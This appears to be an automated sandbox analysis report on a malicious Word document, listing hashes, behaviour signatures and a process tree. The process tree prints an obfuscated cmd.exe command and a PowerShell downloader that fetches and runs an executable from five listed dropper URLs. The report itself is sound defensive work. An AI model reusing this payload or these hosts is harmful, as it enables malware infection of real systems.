Overview

overview

10

Static

static

8

23cf9be951...18.doc

windows7-x64

10

23cf9be951...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-05-2024 07:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    23cf9be95112a70532fecf8ac281cfac_JaffaCakes118.doc

  • Size

    363KB

  • MD5

    23cf9be95112a70532fecf8ac281cfac

  • SHA1

    ffefd12e4446b57e949da269849d3e41e48a1860

  • SHA256

    3b989a9a60b40ee5295f0d66bf9400fb75634c9cdc72325db17dc986321403aa

  • SHA512

    4ed5b544776e60f3c5bc13f0155b988db1832054fb7ccad1d03514402eb2431361a4deae0d04582e0d8e92fcda7c8d11c8402d59e92281f27c9a4bc3489ffed3

  • SSDEEP

    6144:nxjFSdDqxP1Ow5lKWyipxTKlYWofUVEPf3ZaYsKCwz1UCAdv1c8:FFSpsgw5sWyqAl8U+PfJb+6em8

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yuanjhua.com/sM03OXw
exe.dropper

http://muhammadiyahamin.com/wp-content/uploads/2018/05/ZP9
exe.dropper

http://overheaddoorsandlocksmith.com/5Oo
exe.dropper

http://www.communic.at/f0rk3
exe.dropper

http://soundscape.id/qaXToO

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

    execution
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\23cf9be95112a70532fecf8ac281cfac_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c ^for , ; /F , " tokens= 1 delims=fNXOL" ; %h ; iN , ( , ' ; f^^tyP^^e ; ^| ; f^^IndS^^tR , df^^i ' , , ) ; ; DO ; ; %h; , F^/^VpG_^7HNj , , v2FBxK7/^R " ; , ( (SE^t ^ ]-^_=,t^(NE^Prk^:muih@qf 93F8X^C'=v^)/dO-$J\0^WTS+Z^y5jMx^.^sp1;eoalD^{^}B2bnwc) , ; , ; , )& ; , FOr , ; %^L , ^In ; ; ( 47 ^ , 5^1 , +61 , 50 ^, ^ ^ ^6 ,^ ; , ;^ , ^46^ , 12 ^, 50 , 53 , 53 ,^ ; ^ , 16 , 31 ^ , 22 ^, , , 36 , , ,^ ^19 , ; ^, ^24 , 6^0 ^, 50^ , 61 , 30 ^ ,^ 51 , +59 ,^ 42 , ^ 50 , 62 , ^1 , ^, , ^,^ , 16 ^, 3 , ^ 50 ^ , ; ^, +1 , +45 ,^ ^+3^5 , ^ 50 , ^+59 ,^ , , 22 , 5^3 ^, ; ^, 11 ^ ^, 50 , +60 ^ , 1^ ^, 49 , 31^ ^, +^51 ^ ^, 57^ ,^ 32 , ^ +^24 ^, +23 , 12 ^, 1^ , +1 ^, 47 , ; ^ , ^ ; , 8 , ; , +2^7 , 27 , ; , ^ ; , 61^ ^ , , , , ^,^ 6^1 ^ , ^ +61 ^ ^ , 4^5^ ,^ ^ 40 , +10 , 5^2^ , +6^0 ,^ ; ^ ^ , 42 , ^ ^+12 ^ , 10^ , ^ 52 ^ , ; ,^ 45 ,^ +62 ^ ^, ^5^1 , ^9 , 27 , 46^ , ; , ; ^ , 43 ^,^ ^ +34 ^ ^, , ^ ,^ 1^8 , 29 , 21 ^ , ,^ , 6^1 , 1^3^ , ^, ^, 12^ , 1 , 1^ ^ ^, ;^ ^, ^ ^ 47 , , , ,^ ^ , ^ ^8 , ; , 27^ ^, 27 ^ ,^ ^ 9 ^ , +10 , +12 , ^ ; , ^ 52 ^ , 9 , 9 , ^52^ ^ , +^28 ,^ 1^1^ ^, ^; ^, ; , 40 ^ ^, ^; , 52 , ^1^2 , 52 , 9^ ^ , 1^1 , ; , 60 , 45 ,^ 62 , 51 , 9 , ^ 27 , +61^ ^, ^ , , ^ ^, , 47 , ^30 , 62 ^, ^ , , ,^ , 51 ^ ^, ^ , ,^ , ^ ^ , ^ +60 ^ ^, 1 ^, 50 , 6^0^ ^, ^ +1 , 27 , 10 ^, 47^ , , , , , ^5^3 ^, 51 , ^ 52 , ^28 , 46 , 2^7 , 58 , +34 ^ ^,^ 48 , ; , 20 ^ ^, ^ 27 ^ ^ , ; ^, ; , ^ 3^4 , ^ 41 , 27 , ^; , ^+39^ , +5 , 17 ^,^ 1^3^ , 12 , 1 ^ , , , 1 ,^ ,^ , , , ^47 , ^ ; ^, ; ,^ 8 , ^ 27 ^, +27 , 51 , +^25^ , +5^0^ ^, 6 , 12 , 50 , 52 , 28 , +28 ^ ^,^ ;^ , ^ 51^ ^,^ ^ , ^ ,^ , ^,^ +51 ,^ ;^ , ; , ^ 6 , , , +46 ^ , ; ^ , 52 ^,^ ^60 , ,^ ^, ,^ ^ , 2^8^ , 53 ,^ ^ +51 , ^ ^62 , 7^ , 4^6 , +9 , ; ^ , 11 , ^, , ^1 , ^+12 , 45^ , 62 ^ , 51^ ^, 9 ,^ , , +27 , 41 , 2^9 ^, , , 51 , 13^ ^ ,^ 12^ ^, 1 , 1 , 47 , 8 , +27 ^, 27 ^, 61 ,^ ; ^,^ +^61 , ^61 , 45 ^ ,^ 62 , , , , , ^51 ^, 9 ^ ^, ^9^ , 10 , +60 , ^11 , ^ , ^ , ^, ,^ 62 , ^ 45 , 52 , ^ , ^ ^ , , , 1^ , 2^7 , +1^5 , ; , 34 ^ ^, ; ^, 6^ ^ ^, +7 , ; , ^; ^ , 18^ ^ , ; ,^ 13 , 12 ^ , +1 , ; ^ , 1 , +^4^7 , ^8 , 27 , +27 , ^ ^ 46 ^, 51 , ^ 10 ^ , 60 , 28 ^ ,^ ^ 46 , 62 , 5^2^ ^ , +47 ^ ^ , 50^ , ; ^, ^ ^45 , ^; ^ ^, +11 , ^ 28 ^, 27 ^, ^ 14 , ^52^ ,^ +21 , 36 , 51 , ^ ; , ; ^, 29 , ; , 23 , 45^ ^, ^ 37 , ^ 47 ^ ^,^ ; ^ , ^53 ,^ 11^ , 1 , 2^ , ^+2^3 ,^ , ^, 13^ , 23 ^, 2^6^ , ^ ,^ , +49 , 31 , ; , ^ ; , +35^ , ^ 4 , 43^ , ^ 16 ^ , +^24^ ^ , 16^ ^ ^, 23^ ,^ , , ^, , +1^8 , ; ^ ,^ ^ ^; , 20 ^, +34 ^, 23 ,^ 49^ , 31 , ^ ^4^ ^ ^ , +46^ , ^ +61 , 24^ , ^ 31^ ^, ; , ;^ , 50 ^, ; , ;^ ^ ^,^ 60 ^ ,^ 2^5 , 8 , ^1 ^, ^ ^ ; ^ , ; ,^ +50 , ^ ^+9 ^, , , ^, ,^ 47 , ^ ; , ;^ , ^38 , ^ 23 , 33 , 23 ^ , 38 ^, 31^ ^, +35 , , , , , 4 , , ^,^ +^43 ^ , 3^8^ , ; ,^ 2^3 , , ^ , ^, , +^45 , 50^ , , ^ ,^ 44 ^ , 50 , , , 23 ^ , +^49 , 15 , ^ 51^ , 6 , +50 , ^ +52^ ^ , ,^ , , , 62^ ^ , 12 , 2 , , , ,^ , ^ 3^1 ^ ,^ 39 ^, 60 ,^ ^35 , ^16 ,^ , , , ,^ 11^ ^ ^, ; ,^ ; , 60^ , ^ 1^6 , ; ^,^ ^ ^; , 31 ^, ^; ^, ^ ; , 51 ,^ ^+57 ,^ ^ 32 ^ , +26 ^, 55 , 1 ^ , 6 , ; ^, ^ ; , 40 , 55 , +^31 ,^ 22 , , ^, , , ^ 36 ^,^ 1^9 ^ , 45 , ^ 54 ,^ ; , 51 ,^ , , 61^ , 60 ^, 53 ^, +51 ^ ^ , ; , ; , 52^ , 2^8 , ; ,^ ; , 19 , 11 ,^ ^ 53 ,^ 50 , 2 ^, +^31^ , 39 , 60^ , ^ 35 , ^0 , ;^ , 16 ^, 31 ^, ^,^ , 4^ , 46 , ; , ^ ^ ; , ^+^6^1^ , 26 , ^+4^9 , 37^ , ^, , , ^, 1 , , , , , +52 , ^6^ ^, , ^ , , , ^ 1 ,^ ^ 30 ^, +^5^ , 6 , , ,^ 51 , 62 , 50 , 46 ,^ ^+46^ , ^ 16 , 31 ^, +4 , 46 ,^ 61 , ; , +^49 , ^ 59 , 6 , 50^ , ^+5^2 , +7 , +49^ , 56 ^ , 62^ , 52 ^ , 1^ ^ , 62 ^ , 12 ^, ; , ; , 55 , 56^ ^ ,^ 56 ^ , 16 , 16^ , 16 ^ , 16^ ,^ , , ^ , , 16 ^, 16 , 16 ^, 1^6 , 16 ^ , 1^6 , ^16 ^,^ 16 , 16 ^, ,^ ^, ,^ , 1^6 , , ,^ , , 16 , ; , ;^ ^ ,^ 16 , 16 ^ , 7^3^ ) , ; DO (^S^E^T .^{*=!.^{*!!]-^_:~ %^L, 1!)&& ; , i^F , ; %^L ; ^gEQ , , 73 , ; ( (CA^ll ; , %.^{*:~ ^ 5%) , , , , , ) "
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c f^tyP^e | f^IndS^tR df^i
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2856
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" ftyPe "
          4⤵
            PID:928
          • C:\Windows\system32\findstr.exe
            fIndStR dfi
            4⤵
              PID:1040
          • C:\Windows\system32\cmd.exe
            cmd ; , F/VpG_7HNj , , v2FBxK7/R " ; , ( (SE^t ^ ]-^_=,t^(NE^Prk^:muih@qf 93F8X^C'=v^)/dO-$J\0^WTS+Z^y5jMx^.^sp1;eoalD^{^}B2bnwc) , ; , ; , )& ; , FOr , ; %^L , ^In ; ; ( 47 ^ , 5^1 , +61 , 50 ^, ^ ^ ^6 ,^ ; , ;^ , ^46^ , 12 ^, 50 , 53 , 53 ,^ ; ^ , 16 , 31 ^ , 22 ^, , , 36 , , ,^ ^19 , ; ^, ^24 , 6^0 ^, 50^ , 61 , 30 ^ ,^ 51 , +59 ,^ 42 , ^ 50 , 62 , ^1 , ^, , ^,^ , 16 ^, 3 , ^ 50 ^ , ; ^, +1 , +45 ,^ ^+3^5 , ^ 50 , ^+59 ,^ , , 22 , 5^3 ^, ; ^, 11 ^ ^, 50 , +60 ^ , 1^ ^, 49 , 31^ ^, +^51 ^ ^, 57^ ,^ 32 , ^ +^24 ^, +23 , 12 ^, 1^ , +1 ^, 47 , ; ^ , ^ ; , 8 , ; , +2^7 , 27 , ; , ^ ; , 61^ ^ , , , , ^,^ 6^1 ^ , ^ +61 ^ ^ , 4^5^ ,^ ^ 40 , +10 , 5^2^ , +6^0 ,^ ; ^ ^ , 42 , ^ ^+12 ^ , 10^ , ^ 52 ^ , ; ,^ 45 ,^ +62 ^ ^, ^5^1 , ^9 , 27 , 46^ , ; , ; ^ , 43 ^,^ ^ +34 ^ ^, , ^ ,^ 1^8 , 29 , 21 ^ , ,^ , 6^1 , 1^3^ , ^, ^, 12^ , 1 , 1^ ^ ^, ;^ ^, ^ ^ 47 , , , ,^ ^ , ^ ^8 , ; , 27^ ^, 27 ^ ,^ ^ 9 ^ , +10 , +12 , ^ ; , ^ 52 ^ , 9 , 9 , ^52^ ^ , +^28 ,^ 1^1^ ^, ^; ^, ; , 40 ^ ^, ^; , 52 , ^1^2 , 52 , 9^ ^ , 1^1 , ; , 60 , 45 ,^ 62 , 51 , 9 , ^ 27 , +61^ ^, ^ , , ^ ^, , 47 , ^30 , 62 ^, ^ , , ,^ , 51 ^ ^, ^ , ,^ , ^ ^ , ^ +60 ^ ^, 1 ^, 50 , 6^0^ ^, ^ +1 , 27 , 10 ^, 47^ , , , , , ^5^3 ^, 51 , ^ 52 , ^28 , 46 , 2^7 , 58 , +34 ^ ^,^ 48 , ; , 20 ^ ^, ^ 27 ^ ^ , ; ^, ; , ^ 3^4 , ^ 41 , 27 , ^; , ^+39^ , +5 , 17 ^,^ 1^3^ , 12 , 1 ^ , , , 1 ,^ ,^ , , , ^47 , ^ ; ^, ; ,^ 8 , ^ 27 ^, +27 , 51 , +^25^ , +5^0^ ^, 6 , 12 , 50 , 52 , 28 , +28 ^ ^,^ ;^ , ^ 51^ ^,^ ^ , ^ ,^ , ^,^ +51 ,^ ;^ , ; , ^ 6 , , , +46 ^ , ; ^ , 52 ^,^ ^60 , ,^ ^, ,^ ^ , 2^8^ , 53 ,^ ^ +51 , ^ ^62 , 7^ , 4^6 , +9 , ; ^ , 11 , ^, , ^1 , ^+12 , 45^ , 62 ^ , 51^ ^, 9 ,^ , , +27 , 41 , 2^9 ^, , , 51 , 13^ ^ ,^ 12^ ^, 1 , 1 , 47 , 8 , +27 ^, 27 ^, 61 ,^ ; ^,^ +^61 , ^61 , 45 ^ ,^ 62 , , , , , ^51 ^, 9 ^ ^, ^9^ , 10 , +60 , ^11 , ^ , ^ , ^, ,^ 62 , ^ 45 , 52 , ^ , ^ ^ , , , 1^ , 2^7 , +1^5 , ; , 34 ^ ^, ; ^, 6^ ^ ^, +7 , ; , ^; ^ , 18^ ^ , ; ,^ 13 , 12 ^ , +1 , ; ^ , 1 , +^4^7 , ^8 , 27 , +27 , ^ ^ 46 ^, 51 , ^ 10 ^ , 60 , 28 ^ ,^ ^ 46 , 62 , 5^2^ ^ , +47 ^ ^ , 50^ , ; ^, ^ ^45 , ^; ^ ^, +11 , ^ 28 ^, 27 ^, ^ 14 , ^52^ ,^ +21 , 36 , 51 , ^ ; , ; ^, 29 , ; , 23 , 45^ ^, ^ 37 , ^ 47 ^ ^,^ ; ^ , ^53 ,^ 11^ , 1 , 2^ , ^+2^3 ,^ , ^, 13^ , 23 ^, 2^6^ , ^ ,^ , +49 , 31 , ; , ^ ; , +35^ , ^ 4 , 43^ , ^ 16 ^ , +^24^ ^ , 16^ ^ ^, 23^ ,^ , , ^, , +1^8 , ; ^ ,^ ^ ^; , 20 ^, +34 ^, 23 ,^ 49^ , 31 , ^ ^4^ ^ ^ , +46^ , ^ +61 , 24^ , ^ 31^ ^, ; , ;^ , 50 ^, ; , ;^ ^ ^,^ 60 ^ ,^ 2^5 , 8 , ^1 ^, ^ ^ ; ^ , ; ,^ +50 , ^ ^+9 ^, , , ^, ,^ 47 , ^ ; , ;^ , ^38 , ^ 23 , 33 , 23 ^ , 38 ^, 31^ ^, +35 , , , , , 4 , , ^,^ +^43 ^ , 3^8^ , ; ,^ 2^3 , , ^ , ^, , +^45 , 50^ , , ^ ,^ 44 ^ , 50 , , , 23 ^ , +^49 , 15 , ^ 51^ , 6 , +50 , ^ +52^ ^ , ,^ , , , 62^ ^ , 12 , 2 , , , ,^ , ^ 3^1 ^ ,^ 39 ^, 60 ,^ ^35 , ^16 ,^ , , , ,^ 11^ ^ ^, ; ,^ ; , 60^ , ^ 1^6 , ; ^,^ ^ ^; , 31 ^, ^; ^, ^ ; , 51 ,^ ^+57 ,^ ^ 32 ^ , +26 ^, 55 , 1 ^ , 6 , ; ^, ^ ; , 40 , 55 , +^31 ,^ 22 , , ^, , , ^ 36 ^,^ 1^9 ^ , 45 , ^ 54 ,^ ; , 51 ,^ , , 61^ , 60 ^, 53 ^, +51 ^ ^ , ; , ; , 52^ , 2^8 , ; ,^ ; , 19 , 11 ,^ ^ 53 ,^ 50 , 2 ^, +^31^ , 39 , 60^ , ^ 35 , ^0 , ;^ , 16 ^, 31 ^, ^,^ , 4^ , 46 , ; , ^ ^ ; , ^+^6^1^ , 26 , ^+4^9 , 37^ , ^, , , ^, 1 , , , , , +52 , ^6^ ^, , ^ , , , ^ 1 ,^ ^ 30 ^, +^5^ , 6 , , ,^ 51 , 62 , 50 , 46 ,^ ^+46^ , ^ 16 , 31 ^, +4 , 46 ,^ 61 , ; , +^49 , ^ 59 , 6 , 50^ , ^+5^2 , +7 , +49^ , 56 ^ , 62^ , 52 ^ , 1^ ^ , 62 ^ , 12 ^, ; , ; , 55 , 56^ ^ ,^ 56 ^ , 16 , 16^ , 16 ^ , 16^ ,^ , , ^ , , 16 ^, 16 , 16 ^, 1^6 , 16 ^ , 1^6 , ^16 ^,^ 16 , 16 ^, ,^ ^, ,^ , 1^6 , , ,^ , , 16 , ; , ;^ ^ ,^ 16 , 16 ^ , 7^3^ ) , ; DO (^S^E^T .^{*=!.^{*!!]-^_:~ %^L, 1!)&& ; , i^F , ; %^L ; ^gEQ , , 73 , ; ( (CA^ll ; , %.^{*:~ ^ 5%) , , , , , ) "
            3⤵
            • An obfuscated cmd.exe command-line is typically used to evade detection.
            • Suspicious use of WriteProcessMemory
            PID:2320
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell $CTF=new-object Net.WebClient;$oBJ='http://www.yuanjhua.com/sM03OXw@http://muhammadiyahamin.com/wp-content/uploads/2018/05/ZP9@http://overheaddoorsandlocksmith.com/5Oo@http://www.communic.at/f0rk3@http://soundscape.id/qaXToO'.Split('@');$WEM = '380';$Esw=$env:temp+'\'+$WEM+'.exe';foreach($ZnW in $oBJ){try{$CTF.DownloadFile($ZnW, $Esw);Start-Process $Esw;break;}catch{}}
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3676

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\TCD8207.tmp\gb.xsl
        Filesize

        262KB

        MD5

        51d32ee5bc7ab811041f799652d26e04

        SHA1

        412193006aa3ef19e0a57e16acf86b830993024a

        SHA256

        6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

        SHA512

        5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azmnmom0.jgf.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1680-7-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-572-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-6-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-10-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-9-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-8-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-46-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-2-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-1-0x00007FF8357AD000-0x00007FF8357AE000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1680-12-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-13-0x00007FF7F31A0000-0x00007FF7F31B0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-11-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-14-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-15-0x00007FF7F31A0000-0x00007FF7F31B0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-576-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-5-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-0-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-45-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-3-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-67-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-68-0x00007FF8357AD000-0x00007FF8357AE000-memory.dmp

        Filesize

        4KB

        Download

      • memory/1680-69-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-4-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-539-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-538-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-549-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-550-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-573-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-574-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/1680-44-0x00007FF835710000-0x00007FF835905000-memory.dmp

        Filesize

        2.0MB

        Download

      • memory/1680-575-0x00007FF7F5790000-0x00007FF7F57A0000-memory.dmp

        Filesize

        64KB

        Download

      • memory/3676-50-0x0000027063270000-0x0000027063292000-memory.dmp

        Filesize

        136KB

        Download